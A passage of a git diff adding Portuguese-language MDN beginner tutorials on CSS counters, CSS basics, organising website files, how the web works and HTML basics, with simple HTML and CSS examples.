No valor da propriedade content, especifique counter() com o nome do seu contador. Opcionalmente especifique um tipo. Os tipos são como na seção passada em Listas ordenadas.

+ +

Normalmente o elemento que mostra o contador também incrementa isto.

+ + + + + + + + +
Exemplo
Esta regra inicializa um contador para cada elemento H3 com a classe numbered: +
+
+h3.numbered {counter-reset: mynum;}
+
+
+ +

Esta regra mostra e incrementa o contador para cada elemento P com a classe numbered:

+ +
+
+p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;}
+
+
+ +

O resultado se parece com isto:

+ + + + + + + +
Cabeçalho + +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+ + + + + + + + +
Mais detalhes
Você não pode usar contadores a menos que você saiba que todos os que lêem o seu documento têm um navegador que os suporta. +

Se você puder usar contadores, eles tem a vantagem de que você pode estilizar os contadores separadamente da lista de itens. No exemplo anterior, os contadores estão em negrito mas a os itens da lista não.

+ +

Você pode também usar contadores em meios mais complexos — por exemplo, para numerar seções, cabeçalhos, sub-cabeçalhos e parágrafos em documentos formais. Para detalhes, veja Automatic counters and numbering em CSS Specification.

+
+ +

Ação: Listas denominadas

+ +

Crie um novo documento HTML, doc2.html. Copie e cole o conteúdo daqui, tendo certeza de que você rola o mouse para pegar tudo isto:

+ +
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+<HEAD>
+<TITLE>Documento de amostra 2</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style2.css">
+</HEAD>
+<BODY>
+
+<H3 id="oceans">Os oceanos</H3>
+<UL>
+<LI>Ártico</LI>
+<LI>Atlântico</LI>
+<LI>Pacífico</LI>
+<LI>Índico</LI>
+<LI>Antártico</LI>
+</UL>
+
+<H3 class="numbered">Numbered paragraphs</H3>
+<P class="numbered">Lorem ipsum</P>
+<P class="numbered">Dolor sit</P>
+<P class="numbered">Amet consectetuer</P>
+<P class="numbered">Magna aliquam</P>
+<P class="numbered">Autem veleum</P>
+
+</BODY>
+</HTML>
+
+
+ +

Faça uma nova folha de estilo, style2.css. Copie e cole o conteúdo daqui:

+ +
+
/* parágrafos numerados */
+h3.numbered {counter-reset: mynum;}
+
+p.numbered:before {
+  content: counter(mynum) ": ";
+  counter-increment: mynum;
+  font-weight: bold;}
+
+
+ +

Se a disposição e o comentário não estiver ao seu gosto, mude-os.

+ +

Abra o documento no seu navegador. Se o seu navegador suporta contadores, você verá algo semelhante ao exemplo abaixo. Se o seu navegador não suporta contadores, então você não verá os números (e provavelmente nem sequer os dois pontos (:)):

+ + + + + + + +
+

Os oceanos

+ +
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+ +

Parágrafos numerados

+ +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ + + + + + + + +
Desafios
Adicione uma regra à sua folha de estilo, para numerar os oceanos usando numerais Romanos de i até v: + + + + + + +
+

Os oceanos

+ +
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+
+ +


+ Se o seu navegador suporta contadores, mude sua folha de estilo para identificar o cabeçalho com letras maiúsculas em parênteses como isto:

+ + + + + + + +
+

(A) Os oceanos

+ +

. . .

+ +

(B) Parágrafos numerados

+ +

. . .

+
+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Quando seu navegador exibe seu documento de amostra, cria espaços ao redor dos elementos quando eles são exibidos na página.

+ +

A próxima página descreve como você pode usar as CSS para trabalhar com formas subjacentes de elementos: Caixas

+ +

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

diff --git a/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html new file mode 100644 index 0000000000..9b401915f7 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html @@ -0,0 +1,293 @@ +--- +title: CSS - Essencial +slug: Learn/Comecar_com_a_Web/CSS_basico +tags: + - Aprender + - Beginner + - CSS + - CodingScripting + - Estilo + - 'I10n:priority' + - Web +translation_of: Learn/Getting_started_with_the_web/CSS_basics +--- +
{{LearnSidebar}} +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}
+
+ +
+

CSS (Folhas de Estilo em Cascata) é o código que se utiliza para estilizar a sua página da Web. CSS - Elementar guia-o através do que precisa para começar. Vamos responder a perguntas deste género: Como é que eu coloco o meu texto a preto ou vermelho? Como é que eu faço para que o meu conteúdo apareça neste lugar do ecrã? Como é que eu decoro a minha página da Web, com cores e imagens de fundo?

+
+ +

Então, o que realmente é o CSS?

+ +

Tal como o HTML, o CSS não é bem uma linguagem de programação; também não é uma linguagem de demarcação. É uma linguagem de folha de estilos. Isto significa que permite aplicar estilos seletivamente aos elementos nos documentos HTML. Por exemplo, para selecionar todos os elementos do parágrafo numa página HTML e transformar o texto dentro deles em vermelho, iria escrever este CSS:

+ +
p {
+  color: red;
+}
+ +

Vamos tentar: copie e cole estas três linhas de CSS num novo ficheiro do editor de texto, depois grave com o nome style.css na diretoria styles.

+ +

Mas ainda é preciso aplicar este CSS ao seu documento HTML. Se não, os estilos CSS não vão afetar a forma como o seu navegador apresenta o documento HTML. (Se não tem seguido o nosso projeto, leia Lidar com ficheiros e HTML - Essencial para saber o que fazer primeiro)

+ +
    +
  1. Abra o seu ficheiro index.html e cole a linha seguinte no cabeçalho (isto é, entre as marcas <head> e </head>): + +
    <link href="styles/style.css" rel="stylesheet" type="text/css">
    +
  2. +
  3. Guarde o ficheiro index.html e aceda-lhe no seu navegador. Deverá ver algo deste género:
  4. +
+ +

A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.O texto dos seus parágrafos ficou vermelho. Parabéns! Acabou de escrever com sucesso o seu primeiro CSS.

+ +

Anatomia de um conjunto de regras de CSS

+ +

Vejamos o CSS acima com um pouco mais de detalhe:

+ +

+ +

A esta estrutura dá-se o nome conjunto de regras (geralmente, "regra" para abreviar). Repare nos nomes de cada parte:

+ +
+
Seletor
+
Neste caso, é o nome do elemento HTML, no início do conjunto de regras. Seleciona o(s) elemento(s) a que vai ser aplicado o estilo (neste caso, todos os elementos p). Para dar estilo a outro elemento, muda-se o seletor.
+
Declaração
+
Trata-se de uma única regra, como  color: red;, que especifica as propriedades que se pretendem modificar no elemento.
+
Propriedades
+
São as formas como se pode estilizar o elemento HTML (Neste caso, color é uma propriedade dos elementos {{htmlelement("p")}}). Em CSS, pode escolher que propriedades pretende modificar na regra.
+
Valor da propriedade
+
À direita da propriedade, depois dos dois pontos (:), temos o valor da propriedade, que escolhe uma das possíveis aparências que a propriedade pode indicar (há muitos mais valores para color além de red).
+
+ +

Repare em outros aspetos importantes da sintaxe:

+ + + +

Para modificar múltiplas propriedades, basta separá-las com o ponto e vírgula, assim:

+ +
p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}
+ +

Selecionar múltiplos elementos

+ +

Também pode selecionar vários elementos e aplicar um conjunto de regras único para todos eles. Inclua múltiplos seletores separados por vírgulas. Por exemplo:

+ +
p, li, h1 {
+  color: red;
+}
+ +

Diferentes tipos de seletor

+ +

Há muitos tipos diferentes de seletor. Por cima, apenas olhámos para seletores de elementos, que selecionam todos os elementos de determinado tipo no documento HTML a que são aplicados. Mas podemos fazer seleções mais específicas. Em baixo, estão alguns dos tipos mais comuns de seletores:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do seletorO que é que este selecionaExemplo
Seletor de elemento (também chamado seletor de etiqueta ou tipo)Todos os elementos HTML do tipo especificado.p
+ Seleciona todos os elementos <p>
Seletor de ID O elemento da página com o ID especificado (numa página HTML, só pode haver um elemento para cada ID e vice-versa).#my-id
+ Seleciona <p id="my-id"> ou <a id="my-id"> (não devem existir ambos na mesma página)
Seletor de classeSeleciona o(s) elementos(s) da página com a classe especificada (é possível haver elementos diferentes com a mesma classe)..my-class
+ Seleciona <p class="my-class"> e também <a class="my-class">
Seletor de atributoSeleciona o(s) elementos(s) que tenham o atributo dado.img[src]
+ Seleciona <img src="myimage.png"> mas não seleciona <img>
Seletor de Pseudo-classeO(s) elemento(s) especificado(s), mas só quando estiverem no estado indicado. Ex: quando se tem cursor do rato sobre eles.a:hover
+ Seleciona <a>, mas só quando o cursor está sobre o link.
+ +

Existem muitos mais seletores para explorar, e pode encontrar uma lista mais detalhada no nosso Guia de seletores.

+ +

Fonte e texto

+ +

Agora que explorámos as bases do CSS, vamos acrescentar regras e informação ao nosso ficheiro style.css para que o exemplo tenha boa apresentação.

+ +
    +
  1. Primeiro, volte atrás e encontre o output de Google Fonts que guardou num lugar seguro. Acrescente o elemento {{htmlelement("link")}} no cabeçalho do index.html (entre etiquetas <head> e </head>). + +
    <link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
    +
  2. +
  3. De seguida, apague a regra que tinha no ficheiro style.css. Foi um bom teste, mas a cor vermelha não ficou muito bem.
  4. +
  5. Insira as linhas que se seguem, substituindo a linha de substituição pela linha font-family que obteve no site Google Fonts. (font-family indica o nome do tipo de letra). Esta regra estabelece um tamanho e tipo de letra global, em toda a página, já que o elemento <html> é o elemento raiz e todos os elementos aninhados herdam font-size e font-family: +
    html {
    +  font-size: 10px; /* px significa 'píxeis': o tamnho da letra base é duma altura de 10 píxeis */
    +  font-family: placeholder: aqui deve aparecero resto do output do Google fonts
    +}
    + +
    +

    Nota: num documento CSS, tudo o que esteja entre /* e */ é um comentário de CSS, que o navegador ignora quando processa o código. Os comentários servem para escrever notas úteis sobre o que está a fazer.

    +
    +
  6. +
  7. Agora estabelecemos o tamanho da letra para elementos textuais no corpo do HTML: ({{htmlelement("h1")}}, {{htmlelement("li")}}, e {{htmlelement("p")}}). Também vamos centrar o texto dos nossos títulos e especificar altura da linha de texto e espaçamento entre letras no corpo para o tornar mais legível: +
    h1 {
    +  font-size: 60px;
    +  text-align: center;
    +}
    +
    +p, li {
    +  font-size: 16px;
    +  line-height: 2;
    +  letter-spacing: 1px;
    +}
    +
  8. +
+ +

Pode ajustar os valores de px conforme achar que fica melhor, mas em geral, o design deve ter esta aparência:

+ +

a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered

+ +

Caixas, caixas, é tudo sobre caixas

+ +

Quando escreve CSS, poderá notar que a maior parte do esforço é referente a caixas — configurar o seu tamanho, cor, posição, etc. Pode pensar na maioria dos elementos de HTML da sua página como caixas colocadas umas sobre a outras.

+ +

a big stack of boxes or crates sat on top of one another

+ +

Sem surpresa, a disposição de elementos em CSS assenta principalmente num modelo de caixa. Cada um dos blocos que ocupa espaço na sua página tem propriedades como:

+ + + +

three boxes sat inside one another. From outside to in they are labelled margin, border and padding

+ +

Nesta secção também vamos usar:

+ + + +

Portanto, vamos começar e acrescentar algum CSS à nossa página! Acrescente as novas regras no fim do ficheiro e não tenha medo de mudar os valores para ver como fica.

+ +

Alterar a cor da página

+ +
html {
+  background-color: #00539F;
+}
+ +

Esta regra estabelece uma cor de fundo na página inteira. Mude o código de cor para aquele que escolheu quando planeou o seu site.

+ +

Ordenar o corpo

+ +
body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}
+ +

Agora o elemento {{htmlelement("body")}}. Há várias declarações, então vamos ver uma de cada vez:

+ + + +

Posicionar e estilizar o título da nossa página principal

+ +
h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}
+ +

Deve ter notado que há espaço em branco horrível no topo do conteúdo da página. Isto acontece porque o navegador aplica estilo por omissão ao elemento {{htmlelement("h1")}} (entre outros), mesmo que não se tenha aplicado qualquer CSS! Embora isso possa parecer má ideia, na prática até uma página sem folha de estilos tem que ter alguma legibilidade. Para nos livrarmos deste espaço, colocamos margin: 0;.

+ +

De seguida, colocámos o preenchimento por cima e por baixo a 20 píxeis, e demos ao texto a mesma cor que a cor de fundo do elemento {{htmlelement("html")}}.

+ +

Utilizámos uma propriedade interessante, text-shadow, que aplica sombreado ao texto de um elemento. Estes são os quatro valores da mesma:

+ + + +

Novamente, tente experimentar os valores para ver como fica!

+ +

Centrar a imagem

+ +
img {
+  display: block;
+  margin: 0 auto;
+}
+ +

Por fim, vamos centrar a imagem para ficar melhor. Utilizámos o truque de colocar margin: 0 auto como fizemos com o corpo, mas temos que fazer outra coisa. O elemento {{htmlelement("body")}} está ao nível de bloco, ou seja, ocupa toda a largura da página e podem ser-lhe aplicados valores de margem, e outros valores de espaçamento. Por outro lado, as imagens são elemento em linha, a que não se podem aplicar estes valores. Então, para a margem ser aplicada à imagem, temos que lhe atribuir comportamento ao nível do bloco com display: block;.

+ +
+

Nota: Estas instruções assumem que está a usar uma imagem mais pequena que a largura do corpo (600 píxeis). Se for maior, vai transbordar do corpo e ocupar espaço no resto da página. Para retificar isto, pode 1) reduzir a largura da imagem com um programa de edição gŕafica, ou 2) reduzir a imagem com CSS utilizando a propriedade {{cssxref("width")}} no elemento <img> com um valor mais pequeno, como 400 px;.

+
+ +
+

Nota: não se preocupe se ainda não entende display: block; e a distinção entre bloco e em linha (block-level/inline). Irá perceber à medida que estuda o CSS com mais profundidade. Pode descobrir mais sobre os diferentes valores de display na página de referência de display.

+
+ +

Conclusão

+ +

Se seguiu as instruções nesta página, a sua página deve ter este aspeto (e pode ver a nossa versão aqui):

+ +

a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.

+ +

Se ficou preso, pode sempre comparar o seu trabalho com o exemplo terminado no GitHub.

+ +

Aqui, mal tocámos na superfície do CSS. Para saber mais, consulte o tópico de Aprender CSS.

+ +

{{PreviousMenuNext("Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web")}}

+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html new file mode 100644 index 0000000000..6489964938 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -0,0 +1,119 @@ +--- +title: Lidar com ficheiros +slug: Learn/Comecar_com_a_Web/Lidar_com_ficheiros +tags: + - Beginner + - Ficheiros + - Guía + - HTML + - Programação Scripting + - 'l10n:priority' + - site da Web + - teoria +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}
+ +
+

Um site da internet consiste em muitos ficheiros: conteúdo de texto, código, folhas de estilo, conteúdo de multimédia, e assim por diante. Enquanto estiver a criar o site, tem que reunir esses ficheiros numa estrutura conveniente no seu computador local, certificar-se que os mesmos podem comunicar uns com os outros e preparar a apresentação do seu conteúdo, antes de eventualmente enviar os ficheiros para um servidor. Este artigo, Lidar com ficheiros, apresenta algumas questões de que deverá estar ciente para poder configurar uma estrutura de ficheiros conveniente para o seu site.

+
+ +

Onde deve ficar o seu site no seu computador ?

+ +

Quando estiver a trabalhar num site localmente, no seu computador, deve manter todos os ficheiros relacionados numa única pasta que seja o reflexo da estrutura de ficheiros do site no servidor. Esta pasta pode ficar onde quiser, mas deve colocá-la num local de fácil acesso: talvez no seu Ambiente de Trabalho, a pasta do seu utilizador, ou a raiz do seu disco rígido.

+ +
    +
  1. Escolha um sítio para guardar os seus projetos relacionados com sites. Lá, crie uma pasta com o nome projetos-web (ou um nome semelhante). É aqui que vão morar todos os seus projetos de sites.
  2. +
  3. Dentro desta pasta, crie outra pasta para guardar o seu primeiro site. Pode-lhe chamar site-de-teste (ou algo mais criativo).
  4. +
+ +

Um aparte sobre nomes de pastas e ficheiros

+ +

Ao longo deste artigo poderá notar que os nomes que são dados às pastas e aos ficheiros estão todos em minúsculas e sem espaços. Isto porque:

+ +
    +
  1. Muitos computadores, particularmente servidores da internet, são sensíveis a maiúsculas. Por exemplo, se criar um ficheiro de imagem com o nome site-de-teste/MinhaImagem.jpg e depois noutro ficheiro tentar referir-se a ela com o nome site-de-teste/minhaimagem.jpg, pode não resultar.
  2. +
  3. Navegadores, servidores, e linguagens de programação não tratam os espaços da mesma forma. Por exemplo, se usar espaços no nome do ficheiro, alguns sistemas podem tratá-lo como dois nomes separados. Alguns servidores substituem os espaços por "%20" (código de carácter de espaços em URI), e assim arruínam os seus links.
  4. +
+ +

Por essas razões, é melhor habituar-se a escrever os nomes de pastas e ficheiros sem espaços e com palavras separadas por hífen, pelo menos até saber o que está a fazer. Desta forma, irá encontrar menos problemas mais tarde.

+ +

Inicialmente, é melhor separar palavras com hífen em vez de underscoremeu-ficheiro.html em vez de meu_ficheiro.html, pois o motor de pesquisa Google interpreta o hífen como separador de palavras, mas não o underscore.

+ +

Que estrutura deverá ter o seu site?

+ +

De seguida, vamos discutir a estrutura que deve ter o site de teste. As coisas mais comuns que temos em qualquer site são um ficheiro índice e pastas que organizam os ficheiros por tipo: imagens, folhas de estilo e scripts. Vamos criá-las agora:

+ +
    +
  1. index.html: Este ficheiro geralmente descreve o conteúdo da sua página principal, ou seja, o texto e imagens que as pessoas veem quando visitam o site pela primeira vez. Com um editor de texto, crie um ficheiro index.html e guarde-o dentro da pasta site-de-teste.
  2. +
  3. Pasta images: Esta pasta irá conter todas as imagens do seu site. Crie um pasta com este nome dentro da pasta site-de-teste.
  4. +
  5. Pasta styles: Esta pasta contém o código CSS que dá estilo ao conteúdo (por exemplo, cor do texto e do fundo). Crie-a dentro da pasta site-de-teste.
  6. +
  7. Pasta scripts: Esta pasta contém o código JavaScript que dá interatividade ao seu site (ex: botões que carregam dados quando premidos). Crie-adentro da pasta site-de-teste.
  8. +
+ +
+

Nota: Em computadores com Windows, pode ter dificuldade em ver nomes dos ficheiros, porque no Windows tem uma opção, ligada por omissão, para Esconder extensões de ficheiros conhecidas. Em geral, pode desligá-la no Explorador do Windows, selecionar Opções de pastas..., desmarcar a opção em questão, na caixa de seleção, e clicar OK. Para mais informações sobre a sua versão específica de Windows, faça uma pesquisa na internet. 

+
+ +

Caminhos de ficheiros

+ +

Para permitir a comunicação entre ficheiros, é necessário estabelecer os caminhos entre eles. Para demonstrar, vamos inserir algum HTML no ficheiro index.html que mostra a imagem que escolheu no artigo Qual será a aparência do meu site?

+ +
    +
  1. Copie a imagem escolhida para a pasta images.
  2. +
  3. Abra o ficheiro index.html, e copie o código exatamente como se mostra em baixo. Para já não se preocupe com o que significa — vamos olhar para estas estruturas mais tarde. +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +    <meta charset="utf-8">
    +    <title>My test page</title>
    +  </head>
    +  <body>
    +    <img src="" alt="My test image">
    +  </body>
    +</html> 
    +
  4. +
  5. A linha <img src="" alt="My test image"> é o código HTML que insere uma imagem na página. É necessário dizer, neste trecho de código HTML, onde está a imagem. A mesma está dentro da diretoria images, a qual está na mesma diretoria que index.html. Para descer na estrutura de ficheiros, de index.html para a imagem, o caminho é images/nome-da-imagem. Por exemplo, se a mesma e chamasse firefox-icon.png, o caminho seria images/firefox-icon.png.
  6. +
  7. Insira este caminho no código HTML, entre as aspas neste trecho de código: src="".
  8. +
  9. Guarde o ficheiro HTML, depois carregue-o no seu navegador (com duplo clique). Deve conseguir ver o novo site, com a imagem! 
  10. +
+ +

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

+ +

Algumas regras gerais sobre caminhos de ficheiros:

+ + + +

Por agora é tudo o que precisa de saber.

+ +
+

Nota: O Windows usa barras invertidas, como no caminho C:\windows. Mas em HTML, isso é irrelevante — mesmo que esteja a construir o site num sistema Windows, pode usar a barra normal, /.

+
+ +

Que mais deverá ser feito?

+ +

Por agora é tudo. A sua estrutura deverá ser como esta:

+ +

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file

+ +

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}

+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html new file mode 100644 index 0000000000..69fe6b79fa --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html @@ -0,0 +1,112 @@ +--- +title: Como funciona a Web +slug: Learn/Comecar_com_a_Web/Como_funciona_a_Web +tags: + - Aprender + - Beginner + - Cliente + - DNS + - HTTP + - IP + - Infraestrutura + - Servidor + - TCP + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/How_the_Web_works +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
+ +
+

Como a Web funciona, fornece uma visualização simplificada do que acontece quando visualiza uma página da Web num navegador da Web no seu computador ou dispositivo móvel.

+
+ +

Esta teoria não é essencial para escrever o código da Web em curto prazo, mas em pouco tempo, irá realmente começar a beneficiar da compreensão do que está a acontecer em segundo plano.

+ +

Servidores e clientes

+ +

Os computadores ligados à Web são chamados de clientes e servidores. Um diagrama simplificado de como eles interagem, parece-se como isto:

+ +

+ + + +

As outras partes da caixa de ferramentas

+ +

O cliente e o servidor que descrevemos acima não contam toda a história. Há muitas outras partes envolvidas, e iremos descrevê-las em baixo.

+ +

Por enquanto, vamos imaginar que a Web é uma estrada. Num extremo da estrada está o cliente, que é como a sua casa. Na outra extremidade da estrada está o servidor, que é uma loja na qual deseja comprar algo.

+ +

+ +

Além do cliente e do servidor, nós também precisamos cumprimentar:

+ + + +

Então, o que acontece exatamente?

+ +

Quando escreve um endereço web no seu browser (para a nossa analogia isso é como caminhar até à loja):

+ +
    +
  1. O navegador vai para o servidor DNS, e encontra o endereço real do servidor onde o sítio web vive (encontra o endereço da loja).
  2. +
  3. O navegador envia uma mensagem de pedido HTTP ao servidor, pedindo-lhe que envie uma cópia do website ao cliente (vai à loja e encomenda a sua mercadoria). Esta mensagem e todos os outros dados enviados entre o cliente e o servidor, é enviada através da sua ligação à Internet utilizando TCP/IP.
  4. +
  5. Desde que o servidor aprove o pedido do cliente, o servidor envia ao cliente uma mensagem "200 OK", o que significa "Claro que pode olhar para esse website! Aqui está", e depois começa a enviar os ficheiros do sítio web para o navegador como uma série de pequenos pedaços chamados packets / pacotes de dados (a loja dá-lhe os seus bens, e você trá-los de volta para a sua casa).
  6. +
  7. O navegador monta os pequenos pedaços num website completo e mostra-lho (os bens chegam à sua porta — coisas novas e brilhantes, espetacular!).
  8. +
+ +

DNS explicado

+ +

Os verdadeiros endereços web não são os nomes agradáveis e memoráveis que escreve na sua barra de endereços para encontrar os seus sítios web favoritos. São números especiais que têm este aspeto: 63.245.215.20.

+ +

Isto chama-se um {{Glossary("IP Address", "Endereço IP")}}, e representa uma localidade única na web. No entanto, não é muito fácil de lembrar, pois não? É por isso que foram inventados os Servidores de Nome de Domínio. Estes são servidores especiais que correspondem a um endereço web que digita no seu browser (como "mozilla.org") ao endereço real (IP) do website.

+ +

Os websites podem ser acedidos diretamente através dos seus endereços IP. Pode encontrar o endereço IP de um sítio web digitando o seu domínio numa ferramenta como o IP Checker.

+ +

A domain name is just another form of an IP address

+ +

Packets explicados

+ +

Anteriormente utilizámos o termo "packets" para descrever o formato em que os dados são enviados do servidor para o cliente. O que é que queremos dizer aqui? Basicamente, quando os dados são enviados através da web, são enviados como milhares de pequenos pedaços, para que muitos utilizadores da web possam descarregar o mesmo website ao mesmo tempo. Se os sítios web fossem enviados como um único grande pedaço, apenas um utilizador poderia descarregar um de cada vez, o que obviamente tornaria a web muito ineficiente e não muito divertida de utilizar.

+ +

Ver também

+ + + +

Créditos

+ +

Street photo: Street composing, por Kevin D.

+ +

{{PreviousMenu("Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}

+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html new file mode 100644 index 0000000000..4601e08092 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html @@ -0,0 +1,237 @@ +--- +title: HTML - Essencial +slug: Learn/Comecar_com_a_Web/HTML_basicos +tags: + - Aprender + - CodingScripting + - HTML + - Principiante + - Web + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/HTML_basics +--- +
+
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}
+ +
+

HTML (Linguagem de Marcação de Hipertexto) é o código que é utilizado para estruturar uma página da web e o seu conteúdo. Por exemplo, o conteúdo poderá ser estruturado dentro de um conjunto de parágrafos, uma lista de pontos com marcadores, ou utilizando imagens e tabelas de dados. Como o título sugere, este artigo irá dar-lhe uma compreensão básica do HTML e as suas funções.

+
+ +

Então, o que é realmente o HTML?

+ +

HTML não é uma linguagem de programação; é uma linguagem de marcação que define a estrutura do seu conteúdo. HTML consiste numa série de {{Glossary("element", "elementos")}}, que se utilizam para envolver, ou cercar, diferentes partes do conteúdo, e assim fazê-lo ter uma determinada aparência ou agir de determinada maneira. As {{Glossary("tag", "etiquetas")}} envolventes podem interligar as palavras ou imagens para outro lugar, colocar palavras em itálico, tornar a letra maior ou menor, e assim por diante. Por exemplo, veja a seguinte linha de conteúdo:

+ +
O meu gato é muito rabugento
+ +

Caso queiramos que a linha esteja separada de outras, podemos especificar que é um parágrafo envolvendo-a em etiquetas de parágrafo:

+ +
<p>O meu gato é muito rabugento</p>
+ +

Anatomia de um elemento HTML

+ +

Vamos explorar este elemento de parágrafo um pouco mais.

+ +

+ +

As partes principais do nosso elemento são:

+ +
    +
  1. A etiqueta de abertura: Consiste no nome do elemento (neste caso, p), envolto em parênteses angulares. Isto afirma onde começa o elemento, ou onde começa a ter efeito — neste caso, onde começa o parágrafo.
  2. +
  3. A etiqueta de fecho: É igual à de abertura, mas tem uma barra antes do nome do elemento. Isto afirma onde acaba o elemento — neste caso, onde fica o fim do parágrafo. Omitir a etiqueta de fecho é um erro de principiante comum e pode levar a resultados estranhos.
  4. +
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. +
  7. O elemento: A etiqueta de abertura, mais a etiqueta de fecho, mais o conteúdo, é igual ao elemento.
  8. +
+ +

Elementos também podem ter atributos, que se parecem assim:

+ +

+ +

Atributos contêm informação extra sobre o elemento que não quer que apareça no conteúdo. Aqui, class é o nome do atributo, e editor-note é o valor do atributo. O atributo class permite identificar o elemento como sendo parte de um grupo, que pode ser alvo de regras CSS e outras coisas.

+ +

Um atributo deverá ter sempre:

+ +
    +
  1. Um espaço entre si o nome do elemento (ou do atributo anterior, se esse elemento já possuir um ou mais atributos).
  2. +
  3. O nome do atributo, seguido de um sinal de igual.
  4. +
  5. O valor do atributo, envolto em abre e fecha aspas.
  6. +
+ +
+

Nota: Valores de atributos que não possuam espaço em branco ASCII (ou nenhum dos caracteres " ' = < >), mas recomendado que todos os valores de atributos sejam envoltos em aspas, para tornar o código mais consistente e compreensível.

+
+ +

Aninhar elementos

+ +

Também pode colocar elementos dentro de outros elementos  — chama-se a isto aninhar. Se quisermos declarar que o nosso gato é muito rabugento, podemos cercar a palavra "muito" com um elemento {{htmlelement("strong")}}, que significa que a palavra tem ênfase forte:

+ +
<p>O meu gato é <strong>muito</strong> rabugento.</p>
+ +

No entanto, tem que se certificar que os seus elementos estão devidamente aninhados: no exemplo em cima, abrimos o elemento {{htmlelement("p")}} primeiro, e depois o elemento {{htmlelement("strong")}} , portanto temos que fechar o elemento {{htmlelement("strong")}} primeiro, e só depois o {{htmlelement("p")}}. A linha seguinte está errada:

+ +
<p>O meu gato é <strong>muito rabugento.</p></strong>
+ +

Os elementos têm que abrir e fechar corretamente para que seja claro se estão dentro ou fora uns dos outros. Se ficarem sobrepostos como se mostrou em cima, o seu navegador vai tentar adivinhar o que quis dizer, e pode obter resultados inesperados. Então, não faça isso!

+ +

Elementos vazios

+ +

Alguns elementos não têm conteúdo, aos quais chamamos elementos vazios. Veja o elemento {{htmlelement("img")}} que já temos no nosso HTML:

+ +
<img src="images/firefox-icon.png" alt="My test image">
+ +

O mesmo contém dois atributos, mas não há etiqueta de fecho, </img>, nem conteúdo no seu interior, uma vez que um elemento de imagem não envolve conteúdo para o afetar. O seu propósito é incorporar uma imagem na página HTML, no local onde aparece.

+ +

Anatomia de um documento HTML

+ +

Assim terminamos as bases de elementos HTML individuais, mas eles não são muito úteis sozinhos. Vamos agora ver como os elementos se combinam para formar uma página HTML inteira. Voltemos ao código que escrevemos no ficheiro de exemplo index.html (que conhecemos no artigo Lidar com ficheiros):

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <img src="images/firefox-icon.png" alt="My test image">
+  </body>
+</html>
+ +

Aqui temos:

+
+ + + +

Imagens

